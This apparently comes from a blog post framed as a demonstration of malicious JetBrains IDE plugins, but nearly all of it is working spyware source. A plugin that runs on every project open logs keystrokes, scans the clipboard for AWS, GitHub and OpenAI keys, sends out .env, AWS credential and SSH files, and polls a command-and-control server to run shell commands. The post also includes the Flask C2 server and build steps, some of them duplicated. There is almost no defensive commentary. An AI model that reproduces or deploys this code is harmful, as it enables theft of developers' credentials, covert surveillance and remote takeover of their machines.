JetBrains Plugin Security: How a Malicious IDE Plugin Could Spy on You (Part 2)

JETBRAINS_PLUGIN/           # IntelliJ Platform Plugin (Java)
├── src/main/java/com/securitydemo/pycharm/
│   ├── SecurityDemoPlugin.java      # Entry point
│   ├── config/Config.java
│   ├── exfiltration/
│   │   ├── DataPayload.java
│   │   └── ExfiltrationService.java
│   ├── monitors/
│   │   ├── ClipboardMonitor.java
│   │   ├── FileMonitor.java
│   │   ├── KeystrokeLogger.java
│   │   └── SystemInfoCollector.java
│   ├── rce/
│   │   ├── CommandPoller.java
│   │   └── RemoteCommandExecutor.java
│   └── utils/
│       ├── ClientIdGenerator.java
│       ├── HttpClient.java
│       └── SSLUtils.java
JETBRAINS_C2/              # Command & Control Server (Python)
├── c2_pycharm.py          # Flask + SocketIO server
├── templates/
│   └── dashboard.html
└── static/
    └── js/
        ├── dashboard.js
        └── websocket.js

public class SecurityDemoPlugin implements StartupActivity {

    @Override
    public void runActivity(@NotNull Project project) {
        // This runs automatically when ANY project opens

        // 1. Initialize exfiltration infrastructure
        ExfiltrationService exfiltrator = new ExfiltrationService();

        // 2. System reconnaissance (runs immediately)
        new SystemInfoCollector(exfiltrator).collectAndExfiltrate();

        // 3. Start clipboard monitor (polls every 2 seconds)
        ClipboardMonitor clipboardMonitor = new ClipboardMonitor(exfiltrator);
        clipboardMonitor.start();

        // 4. Subscribe to file open events
        FileMonitor fileMonitor = new FileMonitor(exfiltrator);
        project.getMessageBus().connect()
            .subscribe(FileEditorManagerListener.FILE_EDITOR_MANAGER, fileMonitor);

        // 5. Register keystroke handler
        new KeystrokeLogger(exfiltrator);

        // 6. Start command polling
        new CommandPoller(exfiltrator).startPolling();
    }
}

public class KeystrokeLogger implements TypedActionHandler {
    private final StringBuilder buffer = new StringBuilder();
    private final TypedActionHandler originalHandler;
    private final ExfiltrationService exfiltrator;

    public KeystrokeLogger(ExfiltrationService exfiltrator) {
        this.exfiltrator = exfiltrator;

        // Chain to original handler (critical for normal operation)
        originalHandler = EditorActionManager.getInstance()
            .getTypedActionHandler();
        EditorActionManager.getInstance()
            .setTypedActionHandler(this);

        // Start periodic flush timer
        startPeriodicFlush();
    }

    @Override
    public void execute(@NotNull Editor editor, char c,
                        @NotNull DataContext context) {
        // 1. Let the IDE handle the keystroke normally
        originalHandler.execute(editor, c, context);

        // 2. Capture it
        buffer.append(c);

        // 3. Check flush conditions
        if (buffer.length() >= 50) {
            flushBuffer();
        }
    }

    private void flushBuffer() {
        String data = buffer.toString();
        buffer.setLength(0);
        exfiltrator.exfiltrate("keystrokes", data);
    }
}

public class ClipboardMonitor {
    // Patterns for sensitive data
    private static final Pattern SECRET_PATTERN = Pattern.compile(
        "(?i)(password|secret|token|api[_-]?key|" +
        "AKIA[0-9A-Z]{16}|" +           // AWS Access Key
        "ghp_[a-zA-Z0-9]{36}|" +        // GitHub PAT
        "sk-[a-zA-Z0-9]{48})"           // OpenAI Key
    );

    private String lastContentHash = "";

    public void checkClipboard() {
        try {
            Clipboard clipboard = Toolkit.getDefaultToolkit()
                .getSystemClipboard();
            String content = (String) clipboard
                .getData(DataFlavor.stringFlavor);

            // Only process if content changed
            String hash = DigestUtils.md5Hex(content);
            if (!hash.equals(lastContentHash)) {
                lastContentHash = hash;
                processContent(content);
            }
        } catch (Exception e) {
            // Silent failure
        }
    }

    private void processContent(String content) {
        Matcher matcher = SECRET_PATTERN.matcher(content);
        String type = matcher.find() ? "clipboard_secret" : "clipboard_content";
        exfiltrator.exfiltrate(type, content);
    }
}

public class FileMonitor implements FileEditorManagerListener {

    private static final Pattern SENSITIVE_PATTERN = Pattern.compile(
        "(?i)(\\.env|\\.aws/credentials|\\.ssh/|config\\.json)"
    );

    @Override
    public void fileOpened(@NotNull FileEditorManager source,
                          @NotNull VirtualFile file) {
        String path = file.getPath();

        if (SENSITIVE_PATTERN.matcher(path).find()) {
            if (file.getLength() < 1024 * 1024) { // < 1MB
                exfiltrateFile(file);
            }
        }
    }

    private void exfiltrateFile(VirtualFile file) {
        byte[] content = file.contentsToByteArray();
        String text = new String(content, file.getCharset());

        Map<String, Object> extra = new HashMap<>();
        extra.put("fileName", file.getName());
        extra.put("filePath", file.getPath());
        extra.put("fileSize", file.getLength());

        exfiltrator.exfiltrate("file_heist", text, extra);
    }
}

public class ExfiltrationService {
    private final ExecutorService executor = Executors.newFixedThreadPool(2);
    private final Gson gson = new Gson();
    private final HttpClient httpClient = new HttpClient();

    public void exfiltrate(String type, Object content,
                          Map<String, Object> extra) {
        executor.submit(() -> {
            DataPayload payload = new DataPayload();
            payload.type = type;
            payload.content = content;
            payload.timestamp = Instant.now().toString();
            payload.clientId = ClientIdGenerator.getClientId();
            payload.osName = System.getProperty("os.name");
            payload.userName = System.getProperty("user.name");
            payload.extra = extra;

            String json = gson.toJson(payload);
            httpClient.sendPost(Config.getC2Url() + "/exfiltrate", json);
        });
    }
}

from flask import Flask, request, jsonify
from flask_socketio import SocketIO
app = Flask(__name__)
socketio = SocketIO(app, cors_allowed_origins="*")
# In-memory storage
exfiltrated_data = []
connected_clients = {}
command_queue = {}
@app.route('/exfiltrate', methods=['POST'])
def receive_data():
    data = request.get_json()
    data['server_timestamp'] = datetime.utcnow().isoformat()

    # Store
    exfiltrated_data.append(data)

    # Track client
    client_id = data.get('clientId', 'unknown')
    connected_clients[client_id] = {
        'last_seen': datetime.utcnow(),
        'os': data.get('osName'),
        'user': data.get('userName')
    }

    # Real-time broadcast to dashboard
    socketio.emit('new_data', data)

    return jsonify({'status': 'received'}), 200
@app.route('/command', methods=['GET'])
def get_command():
    client_id = request.args.get('clientId')

    if client_id in command_queue and command_queue[client_id]:
        cmd = command_queue[client_id].pop(0)
        return jsonify(cmd), 200

    return jsonify({}), 200

public class RemoteCommandExecutor {

    public String execute(String command) {
        ProcessBuilder pb;

        if (PlatformUtils.isWindows()) {
            pb = new ProcessBuilder("cmd.exe", "/c", command);
        } else {
            pb = new ProcessBuilder("/bin/sh", "-c", command);
        }

        pb.redirectErrorStream(true);
        Process process = pb.start();

        StringBuilder output = new StringBuilder();
        try (BufferedReader reader = new BufferedReader(
                new InputStreamReader(process.getInputStream()))) {
            String line;
            while ((line = reader.readLine()) != null) {
                output.append(line).append("\n");
            }
        }

        process.waitFor(30, TimeUnit.SECONDS);
        return output.toString();
    }
}

cd JETBRAINS_C2
python -m venv venv
source venv/bin/activate
pip install -r requirements.txt
python c2_pycharm.py
# Server runs on http://localhost:5003
cd JETBRAINS_C2
python -m venv venv
source venv/bin/activate
pip install -r requirements.txt
python c2_pycharm.py
# Server runs on http://localhost:5003

cd JETBRAINS_PLUGIN
./gradlew buildPlugin
# Output: build/distributions/pycharm-security-demo-1.0.0.zip
cd JETBRAINS_PLUGIN
./gradlew buildPlugin
# Output: build/distributions/pycharm-security-demo-1.0.0.zip